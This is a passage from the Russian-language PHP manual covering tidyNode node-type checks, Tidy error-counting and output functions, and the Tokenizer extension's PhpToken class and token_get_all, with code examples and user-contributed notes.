Возвращаемые значения

Возвращает true, если узел является JSTE, в противном случае возвращает false.

Примеры

Пример #1 Извлечение JSTE-кода из смешанного HTML-документа

<?php

$html = <<< HTML
<html><head>
<?php echo '<title>заголовок</title>'; ?>
<#
/* JSTE код */
alert('Привет Мир');
#>
</head>
<body>

<?php
// PHP-код
echo 'привет мир!';
?>

<%
/* ASP код */
response.write("Привет Мир!")
%>

<!-- Комментарии -->
Привет Мир
</body></html>
За пределами HTML кода
HTML;

$tidy = tidy_parse_string($html);
$num = 0;

get_nodes($tidy->html());

function get_nodes($node) {

// проверяет текущий узел на соответствие требуемому типу
if($node->isJste()) {
echo "\n\n# jste-узел #" . ++$GLOBALS['num'] . "\n";
echo $node->value;
}

// проверяет существование потомков у текущего узла
if($node->hasChildren()) {
foreach($node->child as $child) {
get_nodes($child);
}
}
}

?>

Результат выполнения данного примера:

# jste-узел #1
<#
  /* JSTE-код */
  alert('Привет Мир');
#>

User Contributed Notes

There are no user contributed notes for this page.


Проверяет, является ли текущий узел PHP-кодом

  • « tidyNode::isJste
  • tidyNode::isText »
  • PHP Manual
  • tidyNode
  • Проверяет, является ли текущий узел PHP-кодом

tidyNode::isPhp

(PHP 5, PHP 7, PHP 8)

tidyNode::isPhp — Проверяет, является ли текущий узел PHP-кодом

Описание

public tidyNode::isPhp(): bool

Проверяет, является ли текущий узел PHP-кодом.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true, если узел является PHP-кодом, в противном случае возвращает false.

Примеры

Пример #1 Извлечение PHP-кода из смешанного HTML-документа

<?php

$html = <<< HTML
<html><head>
<?php echo '<title>заголовок</title>'; ?>
<#
/* JSTE код */
alert('Привет Мир');
#>
</head>
<body>

<?php
// PHP-код
echo 'привет мир!';
?>

<%
/* ASP код */
response.write("Привет Мир!")
%>

<!-- Комментарии -->
Привет Мир
</body></html>
За пределами HTML кода
HTML;

$tidy = tidy_parse_string($html);
$num = 0;

get_nodes($tidy->html());

function get_nodes($node) {

// проверяет текущий узел на соответствие требуемому типу
if($node->isPhp()) {
echo "\n\n# php-узел #" . ++$GLOBALS['num'] . "\n";
echo $node->value;
}

// проверяет существование потомков у текущего узла
if($node->hasChildren()) {
foreach($node->child as $child) {
get_nodes($child);
}
}
}

?>

Результат выполнения данного примера:

# php-узел #1
<?php echo '<title>заголовок</title>'; ?>

# php-узел #2
<?php
  // PHP-код
  echo 'привет мир!';
?>

User Contributed Notes

There are no user contributed notes for this page.


Проверяет, является ли текущий узел обычным текстом (не разметкой)

  • « tidyNode::isPhp
  • Tidy »
  • PHP Manual
  • tidyNode
  • Проверяет, является ли текущий узел обычным текстом (не разметкой)

tidyNode::isText

(PHP 5, PHP 7, PHP 8)

tidyNode::isText — Проверяет, является ли текущий узел обычным текстом (не разметкой)

Описание

public tidyNode::isText(): bool

Проверяет, является ли текущий узел обычным текстом (без какой-либо разметки).

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true, если узел представляет собой текст, в противном случае возвращает false.

Примеры

Пример #1 Извлечение обычного текста из смешанного HTML-документа

<?php

$html = <<< HTML
<html><head>
<?php echo '<title>заголовок</title>'; ?>
<#
/* JSTE код */
alert('Привет Мир');
#>
</head>
<body>

<?php
// PHP-код
echo 'привет мир!';
?>

<%
/* ASP код */
response.write("Привет Мир!")
%>

<!-- Комментарии -->
Привет Мир
</body></html>
За пределами HTML кода
HTML;

$tidy = tidy_parse_string($html);
$num = 0;

get_nodes($tidy->html());

function get_nodes($node) {

// проверяет текущий узел на соответствие требуемому типу
if($node->isText()) {
echo "\n\n# текстовый узел #" . ++$GLOBALS['num'] . "\n";
echo $node->value;
}

// проверяет существование потомков у текущего узла
if($node->hasChildren()) {
foreach($node->child as $child) {
get_nodes($child);
}
}
}

?>

Результат выполнения данного примера:

# текстовый узел #1
Привет Мир

# текстовый узел #2
За пределами HTML кода

User Contributed Notes

There are no user contributed notes for this page.


Tidy

Содержание

  • ob_tidyhandler — Функция обратного вызова ob_start для восстановление буфера
  • tidy_access_count — Возвращает число доступных предупреждений Tidy, встретившихся в рассмотренном документе
  • tidy_config_count — Возвращает число ошибок конфигурации Tidy, встретившихся при рассмотрении документа
  • tidy_error_count — Возвращает число ошибок Tidy, встретившихся при рассмотрении документа
  • tidy_get_output — Возвращает строку, представляющую разобранную tidy-разметку
  • tidy_warning_count — Возвращает число Tidy-предупреждений, встреченных в указанном документе

User Contributed Notes

patatraboum at nospam dot fr 25-Feb-2006 10:13
<?php
//
//The tidy tree of your favorite !
//For PHP 5 (CGI)
//Thanks to john@php.net
//
$file="http://www.php.net";
//
$cns=get_defined_constants(true);
$tidyCns=array("tags"=>array(),"types"=>array());
foreach($cns["tidy"] as $cKey=>$cVal){
    if($cPos=strpos($cKey,$cStr="TAG")) $tidyCns["tags"][$cVal]="$cStr : ".substr($cKey,$cPos+strlen($cStr)+1);
    elseif($cPos=strpos($cKey,$cStr="TYPE")) $tidyCns["types"][$cVal]="$cStr : ".substr($cKey,$cPos+strlen($cStr)+1);
}
$tidyNext=array();
//
echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1252'><title>Tidy Tree :: $file</title></head>";
echo "<body><pre>";
//
tidyTree(tidy_get_root(tidy_parse_file($file)),0);
//
function tidyTree($tidy,$level){
    global $tidyCns,$tidyNext;
    $tidyTab=array();
    $tidyKeys=array("type","value","id","attribute");
    foreach($tidy as $pKey=>$pVal){
        if(in_array($pKey,$tidyKeys)) $tidyTab[array_search($pKey,$tidyKeys)]=$pVal;
    }
    ksort($tidyTab);
    foreach($tidyTab as $pKey=>$pVal){
        switch($pKey){
            case 0 :
                if($pVal==4) $value=true; else $value=false;
                echo indent(true,$level).$tidyCns["types"][$pVal]."\n"; break;
            case 1 :
                if($value){
                    echo indent(false,$level)."VALEUR : ".str_replace("\n","\n".indent(false,$level),$pVal)."\n";
                }
                break;
            case 2 :
                echo indent(false,$level).$tidyCns["tags"][$pVal]."\n"; break;
            case 3 :
                if($pVal!=NULL){
                    echo indent(false,$level)."ATTRIBUTS : ";
                    foreach ($pVal as $aKey=>$aVal) echo "$aKey=$aVal "; echo "\n";
                }
        }
    }
    if($tidy->hasChildren()){
        $level++; $i=0;
        $tidyNext[$level]=true;
        echo indent(false,$level)."\n";
        foreach($tidy->child as $child){
            $i++;
            if($i==count($tidy->child)) $tidyNext[$level]=false;
            tidyTree($child,$level);
        }
    }
    else echo indent(false,$level)."\n";
}
//
function indent($tidyType,$level){
    global $tidyNext;
    $indent="";
    for($i=1;$i<=$level;$i++){
        if($i<$level||!$tidyType){
            if($tidyNext[$i]) $str="|  "; else $str="   ";
        }
        else $str="+--";
        $indent=$indent.$str;
    }
    return $indent;
}
//
echo "</pre></body></html>";
//
?>
bill dot mccuistion at qbopen dot com 29-Oct-2004 10:53
Installing tidy on Fedora Core 2 required three libraries:

tidy...
tidy-devel...
libtidy...

All of which I found at http://rpm.pbone.net

Then, finally, could "./configure --with-tidy"

Hope this helps someone out.  This was "REALLY" hard (for me) to figure out as no where else was clearly documented.


Функция обратного вызова ob_start для восстановление буфера

  • « Tidy
  • tidy_access_count »
  • PHP Manual
  • Tidy
  • Функция обратного вызова ob_start для восстановление буфера

ob_tidyhandler

(PHP 5, PHP 7, PHP 8)

ob_tidyhandler — Функция обратного вызова ob_start для восстановление буфера

Описание

ob_tidyhandler(string $input, int $mode = ?): string

Функция обратного вызова ob_start() для восстановление буфера.

Список параметров

input

Буфер.

mode

Режим буфера.

Возвращаемые значения

Возвращает видоизменённый буфер.

Примеры

Пример #1 Пример использования ob_tidyhandler()

<?php
ob_start('ob_tidyhandler');

echo '<p>test</i>';
?>

Результат выполнения данного примера:

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 3.2//EN">
<html>
<head>
<title></title>
</head>
<body>
<p>test</p>
</body>
</html>

Смотрите также

  • ob_start() - Включение буферизации вывода

User Contributed Notes

There are no user contributed notes for this page.


Возвращает число доступных предупреждений Tidy, встретившихся в рассмотренном документе

  • « ob_tidyhandler
  • tidy_config_count »
  • PHP Manual
  • Tidy
  • Возвращает число доступных предупреждений Tidy, встретившихся в рассмотренном документе

tidy_access_count

(PHP 5, PHP 7, PHP 8, PECL tidy >= 0.5.2)

tidy_access_count — Возвращает число доступных предупреждений Tidy, встретившихся в рассмотренном документе

Описание

tidy_access_count(tidy $tidy): int

tidy_access_count() возвращает число доступных предупреждений, найденных в рассмотренном документе.

Список параметров

tidy

Объект Tidy.

Возвращаемые значения

Возвращает число предупреждений.

Примеры

Пример #1 Пример использования tidy_access_count()

<?php

$html ='<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 3.2//EN">
<html><head><title>Title</title></head>
<body>

<p><img src="img.png"></p>

</body></html>';

// выбирается уровень проверки доступности: 1, 2 или 3
$config = array('accessibility-check' => 3);

$tidy = new tidy();
$tidy->parseString($html, $config);
$tidy->cleanRepair();

/* Нельзя забывать про этот вызов! */
$tidy->diagnose();

echo tidy_access_count($tidy); //5

?>

Примечания

Замечание:

В соответствии с дизайном TidyLib, следует вызывать tidy_diagnose() до tidy_access_count() или последний будет всегда возвращать 0. Необходимо также указывать параметр конфигурации accessibility-check.

Смотрите также

  • tidy_error_count() - Возвращает число ошибок Tidy, встретившихся при рассмотрении документа
  • tidy_warning_count() - Возвращает число Tidy-предупреждений, встреченных в указанном документе

User Contributed Notes

There are no user contributed notes for this page.


Возвращает число ошибок конфигурации Tidy, встретившихся при рассмотрении документа

  • « tidy_access_count
  • tidy_error_count »
  • PHP Manual
  • Tidy
  • Возвращает число ошибок конфигурации Tidy, встретившихся при рассмотрении документа

tidy_config_count

(PHP 5, PHP 7, PHP 8, PECL tidy >= 0.5.2)

tidy_config_count — Возвращает число ошибок конфигурации Tidy, встретившихся при рассмотрении документа

Описание

tidy_config_count(tidy $tidy): int

Возвращает число ошибок в конфигурации заданного объекта tidy.

Список параметров

tidy

Объект Tidy.

Возвращаемые значения

Возвращает число ошибок.

Примеры

Пример #1 Пример использования tidy_config_count()

<?php
$html = '<p>test</I>';

$config = array('doctype' => 'bogus');

$tidy = tidy_parse_string($html, $config);

/* Выведет 1, потому как 'bogus' некорректное объявление типа документа */
echo tidy_config_count($tidy);
?>

User Contributed Notes

There are no user contributed notes for this page.


Возвращает число ошибок Tidy, встретившихся при рассмотрении документа

  • « tidy_config_count
  • tidy_get_output »
  • PHP Manual
  • Tidy
  • Возвращает число ошибок Tidy, встретившихся при рассмотрении документа

tidy_error_count

(PHP 5, PHP 7, PHP 8, PECL tidy >= 0.5.2)

tidy_error_count — Возвращает число ошибок Tidy, встретившихся при рассмотрении документа

Описание

tidy_error_count(tidy $tidy): int

Возвращает число ошибок Tidy, встретившихся при рассмотрении документа.

Список параметров

tidy

Объект Tidy.

Возвращаемые значения

Возвращает число ошибок Tidy.

Примеры

Пример #1 Пример использования tidy_error_count()

<?php
$html = '<p>test</i>
<bogustag>bogus</bogustag>';

$tidy = tidy_parse_string($html);

echo tidy_error_count($tidy) . "\n"; //1

echo $tidy->errorBuffer;
?>

Результат выполнения данного примера:

1
line 1 column 1 - Warning: missing <!DOCTYPE> declaration
line 1 column 8 - Warning: discarding unexpected </i>
line 2 column 1 - Error: <bogustag> is not recognized!
line 2 column 1 - Warning: discarding unexpected <bogustag>
line 2 column 16 - Warning: discarding unexpected </bogustag>
line 1 column 1 - Warning: inserting missing 'title' element

Смотрите также

  • tidy_access_count() - Возвращает число доступных предупреждений Tidy, встретившихся в рассмотренном документе
  • tidy_warning_count() - Возвращает число Tidy-предупреждений, встреченных в указанном документе

User Contributed Notes

There are no user contributed notes for this page.


Возвращает строку, представляющую разобранную tidy-разметку

  • « tidy_error_count
  • tidy_warning_count »
  • PHP Manual
  • Tidy
  • Возвращает строку, представляющую разобранную tidy-разметку

tidy_get_output

(PHP 5, PHP 7, PHP 8, PECL tidy >= 0.5.2)

tidy_get_output — Возвращает строку, представляющую разобранную tidy-разметку

Описание

tidy_get_output(tidy $tidy): string

Получить строку с восстановленным html.

Список параметров

tidy

Объект Tidy.

Возвращаемые значения

Возвращает разобранную tidy-разметку.

Примеры

Пример #1 Пример использования tidy_get_output()

<?php

$html = '<p>параграф</i>';
$tidy = tidy_parse_string($html);

$tidy->cleanRepair();

echo tidy_get_output($tidy);
?>

Результат выполнения данного примера:

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 3.2//EN">
<html>
<head>
<title></title>
</head>
<body>
<p>параграф</p>
</body>
</html>

User Contributed Notes

jon+php_net at phpsitesolutions dot com 28-Dec-2008 08:31
If you don't feel like going procedural to get the HTML output, you can simple use this alternative:

<?php

$html = <<<HTML

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><title>title</title></head>
<body>
<p>paragraph <br />
text</p>
</body></html>

HTML;

$tidy = new tidy;
$tidy->parseString($html);

$tidy->cleanRepair();
echo $tidy->html()->value;

?>

You can even more simply access the HTML output via this:

<?php

echo $tidy->value;

?>


Возвращает число Tidy-предупреждений, встреченных в указанном документе

  • « tidy_get_output
  • Лексер (Tokenizer) »
  • PHP Manual
  • Tidy
  • Возвращает число Tidy-предупреждений, встреченных в указанном документе

tidy_warning_count

(PHP 5, PHP 7, PHP 8, PECL tidy >= 0.5.2)

tidy_warning_count — Возвращает число Tidy-предупреждений, встреченных в указанном документе

Описание

tidy_warning_count(tidy $tidy): int

Возвращает число Tidy-предупреждений, встреченных в указанном документе.

Список параметров

tidy

Объект Tidy.

Возвращаемые значения

Возвращает число предупреждений.

Примеры

Пример #1 Пример использования tidy_warning_count()

<?php
$html = '<p>тест</i>
<bogustag>фикция</bogustag>';

$tidy = tidy_parse_string($html);

echo tidy_error_count($tidy) . "\n"; //1
echo tidy_warning_count($tidy) . "\n"; //5
?>

Смотрите также

  • tidy_error_count() - Возвращает число ошибок Tidy, встретившихся при рассмотрении документа
  • tidy_access_count() - Возвращает число доступных предупреждений Tidy, встретившихся в рассмотренном документе

User Contributed Notes

There are no user contributed notes for this page.


Лексер (Tokenizer)

  • Введение
  • Установка и настройка
    • Требования
    • Установка
    • Настройка во время выполнения
    • Типы ресурсов
  • Предопределённые константы
  • Примеры
  • PhpToken — Класс PhpToken
    • PhpToken::__construct — Создаёт объект PhpToken
    • PhpToken::getTokenName — Возвращает имя токена
    • PhpToken::is — Проверяет, соответствует ли токен указанному типу
    • PhpToken::isIgnorable — Сообщает, будет ли токен игнорироваться парсером PHP
    • PhpToken::__toString — Возвращает текстовое содержимое токена
    • PhpToken::tokenize — Разбирает заданную строку, содержащую программу на PHP, на массив объектов PhpToken
  • Функции PHP-лексера (tokenizer)
    • token_get_all — Разбивает переданный исходный код на PHP-лексемы
    • token_name — Получить символьное имя для переданной PHP-лексемы

User Contributed Notes

There are no user contributed notes for this page.


Введение

Лексические функции предоставляют интерфейс ко встроенному в Zend Engine PHP-лексеру (tokenizer). Используя эти функции, вы можете писать собственные утилиты анализа или модификации исходного кода на PHP без необходимости иметь дело с языковой спецификацией на лексическом уровне.

Смотрите также приложение со списком лексем.

User Contributed Notes

There are no user contributed notes for this page.


Установка

Модуль включён по умолчанию. Он может быть отключён во время выполнения с помощью следующей опции: --disable-tokenizer

Версия PHP для Windows имеет встроенную поддержку данного модуля. Это означает, что для использования данных функций не требуется загрузка никаких дополнительных модулей.

User Contributed Notes

There are no user contributed notes for this page.


Предопределённые константы

Когда модуль скомпилирован в PHP или динамически загружен во время выполнения, лексемы, перечисленные в Список меток (tokens) парсера определены как константы.

User Contributed Notes

There are no user contributed notes for this page.


Примеры

Простой пример PHP-скрипта, использующего tokenizer (лексер), который читает PHP-файл, удаляет все комментарии из исходного кода и выводит только чистый код.

Пример #1 Удаление комментариев лексером

<?php
$source = file_get_contents('example.php');
$tokens = token_get_all($source);

foreach ($tokens as $token) {
if (is_string($token)) {
// простая однабуквенная лексема
echo $token;
} else {
// массив с лексемой
list($id, $text) = $token;

switch ($id) {
case T_DOC_COMMENT:
// нет действий для комментариев
break;

default:
// все остальное -> выводим как есть
echo $text;
break;
}
}
}
?>

User Contributed Notes

There are no user contributed notes for this page.


Класс PhpToken

(PHP 8)

Введение

Этот класс предоставляет альтернативу функции token_get_all(). Тогда как функция возвращает токены либо в виде односимвольной строки, либо в виде массива с идентификатором токена, его текстом и номером строки, PhpToken::tokenize() нормализует все токены в объекты PhpToken, что позволяет гораздо более удобно работать с токенами.

Обзор классов

class PhpToken implements Stringable {
/* Свойства */
public int $id;
public string $text;
public int $line;
public int $pos;
/* Методы */
final public __construct(
int $id,
string $text,
int $line = -1,
int $pos = -1
)
public getTokenName(): ?string
public is(int|string|array $kind): bool
public isIgnorable(): bool
public __toString(): string
public static tokenize(string $code, int $flags = 0): array
}

Свойства

id

Одна из констант T_*, или символ ASCII, представляющий односимвольный токен.

text

Текстовое содержимое токена.

line

Номер строки (начиная с 1), с которой начинается токен.

pos

Начальная позиция (начиная с 0) токена в строке (количество байтов).

Содержание

  • PhpToken::__construct — Создаёт объект PhpToken
  • PhpToken::getTokenName — Возвращает имя токена
  • PhpToken::is — Проверяет, соответствует ли токен указанному типу
  • PhpToken::isIgnorable — Сообщает, будет ли токен игнорироваться парсером PHP
  • PhpToken::__toString — Возвращает текстовое содержимое токена
  • PhpToken::tokenize — Разбирает заданную строку, содержащую программу на PHP, на массив объектов PhpToken

User Contributed Notes

There are no user contributed notes for this page.


Создаёт объект PhpToken

  • « PhpToken
  • PhpToken::getTokenName »
  • PHP Manual
  • PhpToken
  • Создаёт объект PhpToken

PhpToken::__construct

(PHP 8)

PhpToken::__construct — Создаёт объект PhpToken

Описание

final public PhpToken::__construct(
int $id,
string $text,
int $line = -1,
int $pos = -1
)

Возвращает новый объект PhpToken.

Список параметров

id

Одна из констант T_* (смотрите Список меток (tokens) парсера), или символ ASCII, представляющий односимвольный токен.

text

Текстовое содержимое токена.

line

Номер строки (начиная с 1), с которой начинается токен.

pos

Начальная позиция (начиная с 0) токена в строке (количество байтов).

Смотрите также

  • PhpToken::tokenize() - Разбирает заданную строку, содержащую программу на PHP, на массив объектов PhpToken

User Contributed Notes

There are no user contributed notes for this page.


Возвращает имя токена

  • « PhpToken::__construct
  • PhpToken::is »
  • PHP Manual
  • PhpToken
  • Возвращает имя токена

PhpToken::getTokenName

(PHP 8)

PhpToken::getTokenName — Возвращает имя токена

Описание

public PhpToken::getTokenName(): ?string

Возвращает имя токена.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Символ ASCII для односимвольных токенов, либо имя одной из констант T_* (смотрите Список меток (tokens) парсера), либо null, для неизвестных токенов.

Примеры

Пример #1 Пример использования PhpToken::getTokenName()

<?php
// стандартный токен
$token = new PhpToken(T_ECHO, 'echo');
var_dump($token->getTokenName()); // -> string(6) "T_ECHO"

// односимвольный токен
$token = new PhpToken(ord(';'), ';');
var_dump($token->getTokenName()); // -> string(1) ";"

// неизвестный токен
$token = new PhpToken(10000 , "\0");
var_dump($token->getTokenName()); // -> NULL

Смотрите также

  • PhpToken::tokenize() - Разбирает заданную строку, содержащую программу на PHP, на массив объектов PhpToken
  • token_name() - Получить символьное имя для переданной PHP-лексемы

User Contributed Notes

There are no user contributed notes for this page.


Проверяет, соответствует ли токен указанному типу

  • « PhpToken::getTokenName
  • PhpToken::isIgnorable »
  • PHP Manual
  • PhpToken
  • Проверяет, соответствует ли токен указанному типу

PhpToken::is

(PHP 8)

PhpToken::is — Проверяет, соответствует ли токен указанному типу

Описание

public PhpToken::is(int|string|array $kind): bool

Проверяет, соответствует ли токен указанному типу kind.

Список параметров

kind

Значение для сравнения с идентификатором токена, либо его текстовым представлением, или массив таких значений.

Возвращаемые значения

Логическое значение, true или false.

Примеры

Пример #1 Пример использования PhpToken::is()

<?php
$token = new PhpToken(T_ECHO, 'echo');
var_dump($token->is(T_ECHO)); // -> bool(true)
var_dump($token->is('echo')); // -> bool(true)
var_dump($token->is(T_FOREACH)); // -> bool(false)
var_dump($token->is('foreach')); // -> bool(false)

Пример #2 Использование с массивом

<?php
function isClassType(PhpToken $token): bool {
return $token->is([T_CLASS, T_INTERFACE, T_TRAIT]);
}

$interface = new PhpToken(T_INTERFACE, 'interface');
var_dump(isClassType($interface)); // -> bool(true)

$function = new PhpToken(T_FUNCTION, 'function');
var_dump(isClassType($function)); // -> bool(false)

Смотрите также

  • token_name() - Получить символьное имя для переданной PHP-лексемы

User Contributed Notes

There are no user contributed notes for this page.


Сообщает, будет ли токен игнорироваться парсером PHP

  • « PhpToken::is
  • PhpToken::__toString »
  • PHP Manual
  • PhpToken
  • Сообщает, будет ли токен игнорироваться парсером PHP

PhpToken::isIgnorable

(PHP 8)

PhpToken::isIgnorable — Сообщает, будет ли токен игнорироваться парсером PHP

Описание

public PhpToken::isIgnorable(): bool

Сообщает, будет ли токен игнорироваться парсером PHP.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Если токен будет игнорироваться парсером PHP (такие как пробельные последовательности или комментарии), то вернёт true. В противном случае вернёт false.

Примеры

Пример #1 Пример использования PhpToken::isIgnorable()

<?php
$echo = new PhpToken(T_ECHO, 'echo');
var_dump($echo->isIgnorable()); // -> bool(false)

$space = new PhpToken(T_WHITESPACE, ' ');
var_dump($space->isIgnorable()); // -> bool(true)

Смотрите также

  • PhpToken::tokenize() - Разбирает заданную строку, содержащую программу на PHP, на массив объектов PhpToken

User Contributed Notes

info at ensostudio dot ru 01-Mar-2022 12:02
<?php
    public function isIgnorable(): bool
    {
        return $this->is([\T_COMMENT, \T_DOC_COMMENT, \T_OPEN_TAG, \T_WHITESPACE]);
    }
?>


Возвращает текстовое содержимое токена

  • « PhpToken::isIgnorable
  • PhpToken::tokenize »
  • PHP Manual
  • PhpToken
  • Возвращает текстовое содержимое токена

PhpToken::__toString

(PHP 8)

PhpToken::__toString — Возвращает текстовое содержимое токена

Описание

public PhpToken::__toString(): string

Возвращает текстовое содержимое токена.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Текстовое содержимое токена.

Примеры

Пример #1 Пример использования PhpToken::__toString()

<?php
$token = new PhpToken(T_ECHO, 'echo');
echo $token;

Результат выполнения данных примеров:

echo

Смотрите также

  • token_name() - Получить символьное имя для переданной PHP-лексемы

User Contributed Notes

There are no user contributed notes for this page.


Разбирает заданную строку, содержащую программу на PHP, на массив объектов PhpToken

  • « PhpToken::__toString
  • Функции PHP-лексера (tokenizer) »
  • PHP Manual
  • PhpToken
  • Разбирает заданную строку, содержащую программу на PHP, на массив объектов PhpToken

PhpToken::tokenize

(PHP 8)

PhpToken::tokenize — Разбирает заданную строку, содержащую программу на PHP, на массив объектов PhpToken

Описание

public static PhpToken::tokenize(string $code, int $flags = 0): array

Возвращает массив объектов PhpToken, представляющих код code.

Список параметров

code

Исходный код на языке PHP.

flags

Допустимые флаги:

  • TOKEN_PARSE - допускает возможность использовать зарезервированные слова в определённых контекстах.

Возвращаемые значения

Массив токенов PHP в виде объектов класса PhpToken или его потомков. Этот метод возвращает static[], так что PhpToken можно свободно расширять.

Примеры

Пример #1 Пример использования PhpToken::tokenize()

<?php
$tokens = PhpToken::tokenize('<?php echo; ?>');

foreach ($tokens as $token) {
echo "Line {$token->line}: {$token->getTokenName()} ('{$token->text}')", PHP_EOL;
}

Результат выполнения данных примеров:

Line 1: T_OPEN_TAG ('<?php ')
Line 1: T_ECHO ('echo')
Line 1: ; (';')
Line 1: T_WHITESPACE (' ')
Line 1: T_CLOSE_TAG ('?>')

Пример #2 Расширение PhpToken

<?php

class MyPhpToken extends PhpToken {
public function getUpperText() {
return strtoupper($this->text);
}
}

$tokens = MyPhpToken::tokenize('<?php echo; ?>');
echo "'{$tokens[0]->getUpperText()}'";

Результат выполнения данных примеров:

'<?PHP '

Смотрите также

  • token_get_all() - Разбивает переданный исходный код на PHP-лексемы

User Contributed Notes

There are no user contributed notes for this page.


Функции PHP-лексера (tokenizer)

Содержание

  • token_get_all — Разбивает переданный исходный код на PHP-лексемы
  • token_name — Получить символьное имя для переданной PHP-лексемы

User Contributed Notes

There are no user contributed notes for this page.


Разбивает переданный исходный код на PHP-лексемы

  • « Функции PHP-лексера (tokenizer)
  • token_name »
  • PHP Manual
  • Функции PHP-лексера (tokenizer)
  • Разбивает переданный исходный код на PHP-лексемы

token_get_all

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

token_get_all — Разбивает переданный исходный код на PHP-лексемы

Описание

token_get_all(string $code, int $flags = 0): array

Функция token_get_all() разбирает переданную строку code в языковые лексемы PHP, используя лексический сканер Zend Engine.

Список лексем смотрите в Список меток (tokens) парсера или используйте token_name() для перевода значения лексемы в строковое представление.

Список параметров

code

Исходный код PHP для разбора.

flags

Корректные флаги:

  • TOKEN_PARSE - Распознает возможность использования зарезервированных слов в определённых контекстах.

Возвращаемые значения

Массив идентификаторов лексем. Каждый индивидуальный идентификатор лексемы это или одиночный символ (например, ;, ., >, !, другие...), или трёхэлементный массив, содержащий индекс лексемы в нулевом элементе, строку с оригинальным содержимым лексемы в первом элементе и номером строки во втором элементе.

Примеры

Пример #1 token_get_all() example

<?php
$tokens = token_get_all('<?php echo; ?>');

foreach ($tokens as $token) {
if (is_array($token)) {
echo "Строка {$token[2]}: ", token_name($token[0]), " ('{$token[1]}')", PHP_EOL;
}
}
?>

Результатом выполнения данного примера будет что-то подобное:

Строка 1: T_OPEN_TAG ('<?php ')
Строка 1: T_ECHO ('echo')
Строка 1: T_WHITESPACE (' ')
Строка 1: T_CLOSE_TAG ('?>')

Пример #2 Пример неправильного использования token_get_all()

<?php
$tokens = token_get_all('/* комментарий */');

foreach ($tokens as $token) {
if (is_array($token)) {
echo "Строка {$token[2]}: ", token_name($token[0]), " ('{$token[1]}')", PHP_EOL;
}
}
?>

Результатом выполнения данного примера будет что-то подобное:

Строка 1: T_INLINE_HTML ('/* комментарий */')
Обратите внимание, в приведённом примере строка разбирается как T_INLINE_HTML вместо ожидаемого T_COMMENT. Это связано с тем, что не используется открывающий тег в коде. Это было бы эквивалентно помещению комментариев вне тегов PHP в обычном файле.

Пример #3 Пример использования token_get_all() с классом, использующим зарезервированные слова

<?php

$source = <<<'code'
<?php

class A
{
const PUBLIC = 1;
}
code;

$tokens = token_get_all($source, TOKEN_PARSE);

foreach ($tokens as $token) {
if (is_array($token)) {
echo token_name($token[0]) , PHP_EOL;
}
}
?>

Результатом выполнения данного примера будет что-то подобное:

T_OPEN_TAG
T_WHITESPACE
T_CLASS
T_WHITESPACE
T_STRING
T_CONST
T_WHITESPACE
T_STRING
T_LNUMBER
Без флага TOKEN_PARSE, предпоследний токен (T_STRING) был бы T_PUBLIC.

Смотрите также

  • PhpToken::tokenize() - Разбирает заданную строку, содержащую программу на PHP, на массив объектов PhpToken
  • token_name() - Получить символьное имя для переданной PHP-лексемы

User Contributed Notes

Ivan Ustanin 25-Aug-2018 05:40
As a caution: when using TOKEN_PARSE with an invalid php-file, one can get an error like this:
Parse error: syntax error, unexpected '__construct' (T_STRING), expecting function (T_FUNCTION) or const (T_CONST) in  on line 15
Notice the missing filename as this function accepts a string, not a filename and thus has no idea of the latter.
However an exception would be more appreciated.
bart 23-May-2017 08:34
Not all tokens are returned as an array. The rule appears to be that if a token is not variable, but instead it is one particular constant string, it is returned as a string instead. You don't get a line number. This is the case for braces( "{", "}"), parentheses ("(", ")"), brackets ("[", "]"), comma (","), semi-colon (";"), and a whole slew of operator signs ("!", "=", "+", "*", "/", ".", "+=", ...).
Theriault 02-Apr-2016 11:23
The T_OPEN_TAG token will include the first trailing newline (\r, \n, or \r\n), tab (\t), or space. Any additional space after this token will be in a T_WHITESPACE token.

The T_CLOSE_TAG token will include the first trailing newline (\r, \n, or \r\n; as described here http://php.net/manual/en/language.basic-syntax.instruction-separation.php). Any additional space after this token will be in a T_INLINE_HTML token.
gomodo at free dot fr 02-Aug-2009 10:08
Yes, some problems (On WAMP, PHP 5.3.0 ) with get_token_all()

1 : bug line numbers
 Since PHP 5.2.2 token_get_all()  should return Line numbers in element 2..
.. but for instance (5.3.0 on WAMP), it work perfectly only with PHP code (not HMTL miwed), but if you have some T_INLINE_HTML detected by token_get_all() ,  sometimes you find wrongs line numbers  (return next line)... :(

2: bug warning message can impact loops
Warning with php code uncompleted (ex : php code line by line) :
for example if a comment tag is not closed  token_get_all()  can block loops on this  warning :
Warning: Unterminated comment starting line

This problem seem not occur in CLI mod (php command line), but only in web mod.

Waiting more stability, used token_get_all()  only on PHP code (not HMTL miwed) :
First extract entirely PHP code (with open et close php tag),
Second use token_get_all()  on the pure PHP code.

3 : Why there not function to extract PHP code (to extract HTML, we have Tidy..)?

Waiting, I used a function :

The code at end this post :
http://www.developpez.net/forums/d786381/php/langage/
fonctions/analyser-fichier-php-token_get_all/

This function not support :
- Old notation :  "<?  ?>" and "<% %>"
- heredoc syntax
- nowdoc syntax (since PHP 5.3.0)
Dennis Robinson from basnetworks dot net 28-Jun-2009 09:24
I wanted to use the tokenizer functions to count source lines of code, including counting comments.  Attempting to do this with regular expressions does not work well because of situations where /* appears in a string, or other situations.  The token_get_all() function makes this task easy by detecting all the comments properly.  However, it does not tokenize newline characters.  I wrote the below set of functions to also tokenize newline characters as T_NEW_LINE.

<?php

define('T_NEW_LINE', -1);

function token_get_all_nl($source)
{
    $new_tokens = array();

    // Get the tokens
    $tokens = token_get_all($source);

    // Split newlines into their own tokens
    foreach ($tokens as $token)
    {
        $token_name = is_array($token) ? $token[0] : null;
        $token_data = is_array($token) ? $token[1] : $token;

        // Do not split encapsed strings or multiline comments
        if ($token_name == T_CONSTANT_ENCAPSED_STRING || substr($token_data, 0, 2) == '/*')
